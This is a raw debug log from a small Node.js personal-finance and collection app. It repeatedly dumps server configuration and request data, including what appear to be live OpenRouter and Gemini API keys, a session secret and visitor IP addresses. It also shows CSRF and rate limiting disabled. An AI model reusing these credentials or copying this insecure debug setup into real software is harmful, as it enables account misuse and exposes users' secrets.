  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://www.ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9',
    priority: 'u=0, i',
    cookie: 'wssplashchk=eb1e46e9f993487f563852f9eac8dbd4bb02a7cd.1782548529.1',
    'x-forwarded-for': '95.181.233.21',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {
    wssplashchk: 'eb1e46e9f993487f563852f9eac8dbd4bb02a7cd.1782548529.1'
  },
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-28T07:22:12.368Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '95.181.233.21',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'wssplashchk=eb1e46e9f993487f563852f9eac8dbd4bb02a7cd.1782548529.1',
    'HTTP_X_FORWARDED-FOR': '95.181.233.21',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-27T07:22:20.309Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-27T07:22:20.497Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-27T07:22:20.584Z server-connect:setup:upload Upload middleware configured.
2026-06-27T07:22:20.584Z server-connect:secure CSRF Protection initialized
2026-06-27T07:22:20.587Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-27T07:22:20.589Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-27T07:22:20.590Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-27T07:22:20.590Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-27T07:22:20.591Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-27T07:22:20.592Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-27T07:22:20.592Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-27T07:22:20.593Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-27T07:22:20.594Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-27T07:22:20.596Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-27T07:22:20.597Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-27T07:22:20.597Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-27T07:22:20.597Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-27T07:22:20.598Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-27T07:22:20.598Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-27T07:22:20.598Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-27T07:22:20.599Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-27T07:22:20.599Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-27T07:22:20.599Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-27T07:22:20.600Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-27T07:22:20.600Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-27T07:22:20.600Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-27T07:22:20.600Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-27T07:22:20.601Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-27T07:22:20.601Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-27T07:22:20.601Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-27T07:22:20.601Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-27T07:22:20.602Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-27T07:22:20.602Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-27T07:22:20.602Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-27T07:22:20.602Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-27T07:22:20.603Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-27T07:22:20.603Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-27T07:22:20.603Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-27T07:22:20.603Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-27T07:22:20.603Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-27T07:22:20.604Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-27T07:22:20.604Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-27T09:17:12.550Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-27T09:17:14.821Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-27T09:17:15.685Z server-connect:setup:upload Upload middleware configured.
2026-06-27T09:17:15.686Z server-connect:secure CSRF Protection initialized
2026-06-27T09:17:15.691Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-27T09:17:15.692Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-27T09:17:15.693Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-27T09:17:15.696Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-27T09:17:15.702Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-27T09:17:15.707Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-27T09:17:15.719Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-27T09:17:15.732Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-27T09:17:15.737Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-27T09:17:15.739Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-27T09:17:15.741Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-27T09:17:15.745Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-27T09:17:15.750Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-27T09:17:15.760Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-27T09:17:15.764Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-27T09:17:15.837Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-27T09:17:15.838Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-27T09:17:15.841Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-27T09:17:15.848Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-27T09:17:15.852Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-27T09:17:15.854Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-27T09:17:15.862Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-27T09:17:15.864Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-27T09:17:15.870Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-27T09:17:15.872Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-27T09:17:15.876Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-27T09:17:15.877Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-27T09:17:15.881Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-27T09:17:15.885Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-27T09:17:15.887Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-27T09:17:15.889Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-27T09:17:15.891Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-27T09:17:15.895Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-27T09:17:15.897Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-27T09:17:15.903Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-27T09:17:15.907Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-27T09:17:15.911Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-27T09:17:15.920Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-27T09:17:16.408Z server-connect:router Serving templateView /
2026-06-27T09:17:16.411Z server-connect:app Executing action step identify
2026-06-27T09:17:16.411Z server-connect:app options: { provider: 'security' }
2026-06-27T09:17:16.413Z server-connect:auth No login cookie found
2026-06-27T09:17:16.413Z server-connect:output identity: false
2026-06-27T09:17:16.413Z server-connect:app Executing action step restrict
2026-06-27T09:17:16.413Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-27T09:17:16.416Z server-connect:output restrict: undefined
2026-06-27T09:17:16.804Z server-connect:router Serving templateView /login
2026-06-27T09:17:16.804Z server-connect:app Executing action step identify
2026-06-27T09:17:16.805Z server-connect:app options: { provider: 'security' }
2026-06-27T09:17:16.805Z server-connect:auth No login cookie found
2026-06-27T09:17:16.805Z server-connect:output identity: false
2026-06-27T09:17:16.805Z server-connect:router Render template layouts/authentication
2026-06-27T09:17:16.806Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '205.210.31.44',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-28T09:17:16.801Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '205.210.31.44',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '205.210.31.44',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-27T12:19:05.132Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-27T12:19:07.402Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-27T12:19:08.267Z server-connect:setup:upload Upload middleware configured.
2026-06-27T12:19:08.267Z server-connect:secure CSRF Protection initialized
2026-06-27T12:19:08.272Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-27T12:19:08.274Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-27T12:19:08.275Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-27T12:19:08.278Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-27T12:19:08.283Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-27T12:19:08.289Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-27T12:19:08.302Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-27T12:19:08.314Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-27T12:19:08.319Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-27T12:19:08.320Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-27T12:19:08.322Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-27T12:19:08.326Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-27T12:19:08.332Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-27T12:19:08.342Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-27T12:19:08.346Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-27T12:19:08.418Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-27T12:19:08.421Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-27T12:19:08.425Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-27T12:19:08.429Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-27T12:19:08.434Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-27T12:19:08.436Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-27T12:19:08.444Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-27T12:19:08.445Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-27T12:19:08.451Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-27T12:19:08.453Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-27T12:19:08.457Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-27T12:19:08.459Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-27T12:19:08.461Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-27T12:19:08.467Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-27T12:19:08.471Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-27T12:19:08.473Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-27T12:19:08.475Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-27T12:19:08.478Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-27T12:19:08.480Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-27T12:19:08.486Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-27T12:19:08.490Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-27T12:19:08.492Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-27T12:19:08.502Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-27T12:19:08.991Z server-connect:router Serving templateView /
2026-06-27T12:19:08.993Z server-connect:app Executing action step identify
2026-06-27T12:19:08.993Z server-connect:app options: { provider: 'security' }
2026-06-27T12:19:08.996Z server-connect:auth No login cookie found
2026-06-27T12:19:08.996Z server-connect:output identity: false
2026-06-27T12:19:08.996Z server-connect:app Executing action step restrict
2026-06-27T12:19:08.996Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-27T12:19:08.999Z server-connect:output restrict: undefined
2026-06-27T14:22:15.879Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-27T14:22:20.275Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-27T14:22:21.947Z server-connect:setup:upload Upload middleware configured.
2026-06-27T14:22:21.947Z server-connect:secure CSRF Protection initialized
2026-06-27T14:22:21.958Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-27T14:22:21.975Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-27T14:22:21.982Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-27T14:22:21.985Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-27T14:22:22.011Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-27T14:22:22.083Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-27T14:22:22.139Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-27T14:22:22.154Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-27T14:22:22.161Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-27T14:22:22.165Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-27T14:22:22.169Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-27T14:22:22.181Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-27T14:22:22.188Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-27T14:22:22.200Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-27T14:22:22.212Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-27T14:22:22.290Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-27T14:22:22.294Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-27T14:22:22.302Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-27T14:22:22.322Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-27T14:22:22.329Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-27T14:22:22.403Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-27T14:22:22.443Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-27T14:22:22.443Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-27T14:22:22.450Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-27T14:22:22.456Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-27T14:22:22.462Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-27T14:22:22.468Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-27T14:22:22.470Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-27T14:22:22.476Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-27T14:22:22.478Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-27T14:22:22.479Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-27T14:22:22.481Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-27T14:22:22.485Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-27T14:22:22.487Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-27T14:22:22.493Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-27T14:22:22.497Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-27T14:22:22.499Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-27T14:22:22.509Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-27T14:22:22.999Z server-connect:router Serving templateView /
2026-06-27T14:22:23.001Z server-connect:app Executing action step identify
2026-06-27T14:22:23.001Z server-connect:app options: { provider: 'security' }
2026-06-27T14:22:23.003Z server-connect:auth No login cookie found
2026-06-27T14:22:23.003Z server-connect:output identity: false
2026-06-27T14:22:23.003Z server-connect:app Executing action step restrict
2026-06-27T14:22:23.003Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-27T14:22:23.007Z server-connect:output restrict: undefined
2026-06-27T14:22:23.111Z server-connect:router Serving templateView /login
2026-06-27T14:22:23.111Z server-connect:app Executing action step identify
2026-06-27T14:22:23.112Z server-connect:app options: { provider: 'security' }
2026-06-27T14:22:23.112Z server-connect:auth No login cookie found
2026-06-27T14:22:23.112Z server-connect:output identity: false
2026-06-27T14:22:23.112Z server-connect:router Render template layouts/authentication
2026-06-27T14:22:23.112Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
